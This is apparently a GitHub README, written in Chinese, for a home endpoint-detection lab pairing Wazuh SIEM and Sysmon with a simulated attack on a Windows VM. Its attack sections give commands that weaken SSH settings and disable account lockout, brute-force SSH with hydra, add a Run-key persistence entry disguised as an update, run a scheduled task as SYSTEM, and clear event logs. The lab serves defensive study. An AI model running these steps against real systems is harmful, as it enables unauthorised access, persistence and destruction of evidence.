abdulrehmanashfaq/endpoint-detection-lab

GitHub: abdulrehmanashfaq/endpoint-detection-lab

一个本地化的端点检测与 SIEM 检测工程实验室,利用 Wazuh 和 Sysmon 模拟攻防场景并验证安全遥测与检测能力。

Stars: 0 | Forks: 0

# 本地端点检测工程与事件响应实验室 ## 1. 执行摘要与系统架构 本项目演示了本地化安全运营中心 (SOC) 日志管道和端点检测与响应 (EDR) 测试环境的端到端工程设计。目标是建立一个隔离的平台,用于模拟现代对手战术、设计自定义行为检测逻辑,以及分析细粒度的操作系统遥测数据,而无需依赖云资源或传统的 Active Directory 基础设施。 ### 架构蓝图 - **安全运营控制台 (Laptop 1):** Wazuh SIEM 管理器(运行在 Linux 上的分布式单节点部署) - **目标工作站 (Laptop 2):** 通过 Microsoft Sysmon 和 Wazuh Agent 监控的 Windows 10/11 端点虚拟机 - **对手节点 (Laptop 2):** Kali Linux 虚拟机 / 本地恶意执行上下文 ## 2. 阶段 1:安全运营控制台部署 此阶段使用开源 Wazuh SIEM 平台建立中央日志聚合、索引和可视化集群。 ### 部署日志 - **主机操作系统:** Kali Linux (主要) - **部署方式:** Wazuh 自动化 All-in-One 安装助手 - **执行的命令:** ``` sudo apt update && sudo apt upgrade -y curl -sO [https://packages.wazuh.com/4.x/wazuh-install.sh](https://packages.wazuh.com/4.x/wazuh-install.sh) sudo bash wazuh-install.sh -a ``` 等待片刻。安装完成后。前往浏览器并打开 [https://127.0.0.1](https://127.0.01) ![点击继续](/images/image1.png) 点击接受(风险并继续) ![凭据](/images/image2.png) 输入安装后提供的凭据。 ![设置](/images/image3.png) 现在我们已经成功在 Kali (Laptop 1) 上设置了 Wazuh。 ## 3. 阶段 2:设置 Windows 机器 在上面我们需要安装 Wazuh Agent,以便将 Windows 与我们的 Wazuh 服务器集成。 ``` Invoke-WebRequest -Uri https://packages.wazuh.com/4.x/windows/wazuh-agent-4.14.5-1.msi -OutFile $env:tmp\wazuh-agent.msi; msiexec.exe /i $env:tmp\wazuh-agent.msi /q WAZUH_MANAGER="YOUR_KALI_IP" ``` 请记住在此命令中替换你的 IP 现在在 Windows 上启动你的 Wazuh 服务。 ``` Start-Service wazuhsvc ``` 检查它是否正在运行。 ``` Get-Service wazuhsvc ``` ![命令](/images/image4.png) 现在我们可以看到 Wazuh 服务器上有一个活动的 Agent,那就是我们的 Windows 机器。 ![命令](/images/image5.png) 记住在 Windows 机器上设置 Sysmon。我已经下载并安装在它上面了。 你可以前往这个页面了解如何设置 Sysmon:[Wazuh 上的 Sysmon 设置](https://wazuh.com/blog/using-wazuh-to-monitor-sysmon-events/) ## 4. 阶段 3:在 Windows 上生成大量遥测事件 现在我们需要验证我们的 Sysmon 是否确实通过网络发送了日志或事件。 因此我们将执行一个简单的命令。 ``` net user test test /add ``` 在 Windows 终端上,我们将以管理员身份运行此命令。 事件 ID 将为 4720。 现在我们前往 Wazuh 服务器上的“Discover(发现)”选项卡,并在搜索字段中输入 test。 ![命令](/images/image6.png) 现在你可以看到我们的日志正在源源不断地输入到我们的 Wazuh 服务器中。 ## 5. 阶段 4:攻击模拟与遥测验证 为了对 Windows 进行攻击,我们将使 Windows 上的 SSH 服务器变得脆弱。这样攻击者 Kali 就可以利用它,并使用 AI(脚本)执行完整的网络攻击链。 为了使其变得脆弱,首先我们打开 ``` C:\ProgramData\ssh\sshd_config ``` 请记住你已经在 Windows 上拥有 SSH 服务器和客户端。 打开文件并找到以下配置。使用 ctrl+f 查找这些内容。 ``` Match Group administrators AuthorizedKeysFile __PROGRAMDATA__/ssh/administrators_authorized_keys ``` 在开头加上 # 将它们注释掉 ``` PasswordAuthentication yes PermitEmptyPasswords yes # 匹配 Group 管理员 # AuthorizedKeysFile __PROGRAMDATA__/ssh/administrators_authorized_keys ``` 现在配置看起来应该如上所示。 这属于 A05:2021-Security Misconfiguration(安全配置错误)。(你可以执行诸如暴力破解之类的攻击。) ## 阶段 4.1:被动与主动侦察 现在我们将切换到我们的攻击机 Kali (Laptop 2)。 首先我们检查主机是否存活 ``` ping 192.168.100.75 ``` ![存活](/images/pic7.png) 我们可以看到主机是存活的。 接下来我们使用 nmap 枚举服务和端口。 ``` sudo nmap -sS -sV -O 192.168.100.75 ``` 并且我们看到了我们的 SSH 服务。 ![SSH](/images/image8.png) ## 阶段 4.2:凭据访问 现在我们将使用 hydra 执行暴力破解攻击。 注意! 在执行暴力破解攻击之前。请确保锁定阈值为 0。否则 Windows 将在尝试 5 次后被锁定。 ``` net accounts /lockoutthreshold:0 ``` 现在执行攻击。 ``` hydra -l victim -P /usr/share/wordlists/attacker_list 192.168.100.75 ssh -V ``` 我们可以看到我们的攻击成功了。我们获取了受害者的 SSH 密码。 ![密码](/images/image9.png) ## 阶段 4.3:初始访问 现在在攻击者机器上,由于我们获得了 SSH 密码,我们将通过 SSH 获得终端访问权限。 ``` ssh victim@192.168.100.75 ``` 并输入密码。我们成功获取了受害者的终端。 ![终端](/images/image10.png) 现在我们将进行本地侦察 ``` # 查明您当前运行的具体身份及系统权限 whoami /all # 列出机器上的所有本地用户账户 net user # 查找高权限管理组 net localgroup administrators # 查看主机上的活动网络连接和监听端口 netstat -ano ``` 好的,有几件事我漏掉了,SSH 日志没有传送到 Wazuh,所以我必须打开 Wazuh 配置文件并输入: ``` OpenSSH/Operational eventchannel ``` 文件路径为: ``` C:\Program Files (x86)\ossec-agent\ ``` 现在重启 Wazuh 服务 ``` # 停止 Wazuh Agent 服务 Stop-Service -Name "Wazuh" # 启动 Wazuh Agent 服务 Start-Service -Name "Wazuh" ``` ## 阶段 4.4:持久化 ``` reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OneDriveUpdate" /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f ``` 攻击者使用此命令进行持久化。 HKCU\...Version\Run:此目标路径确保每当受害者用户登录时,操作系统都会读取此键。 /v "OneDriveUpdate":该值名称伪装成一个更新二进制文件,以混入正常的系统活动噪音中。 /d "C:\Windows\System32\cmd.exe":这告诉 Windows 自动启动一个命令提示符(在真实场景中,这将指向你的恶意反向 shell 可执行文件)。 ## 阶段 4.5:权限提升 我们的受害者用户已经拥有管理员权限。我们的目标是获取 SYSTEM 权限。 运行此命令以成功注册任务 ``` schtasks /create /tn "ElevateTask" /tr "cmd.exe /c whoami > C:\Users\Public\privs.txt" /sc ONCE /sd "01/01/2026" /st "00:00" /ru "NT AUTHORITY\SYSTEM" /f ``` 现在,手动执行任务以强制 SYSTEM 账户立即运行你的 payload 字符串: ``` schtasks /run /tn "ElevateTask" ``` 你应该会看到一条消息:SUCCESS: Attempted to run the scheduled task "ElevateTask"。(成功:已尝试运行计划任务 "ElevateTask"。)读取生成的文本文件的内容,以确认执行是在最高权限级别下进行的。 ``` type C:\Users\Public\privs.txt ``` ![权限](/images/image11.png) ## 阶段 4.6:防御规避 下一阶段是防御规避,我们将通过清除日志来完成。 我们将使用以下命令来执行此操作 ``` wevtutil.exe cl Application wevtutil.exe cl Security ``` 请记住,我们必须在我们获取的特权 shell 中执行此操作。
标签:AI合规, AMSI绕过, CTI, EDR, Wazuh, 内存分配, 威胁检测, 安全实验环境, 安全运营中心, 网络映射, 脆弱性评估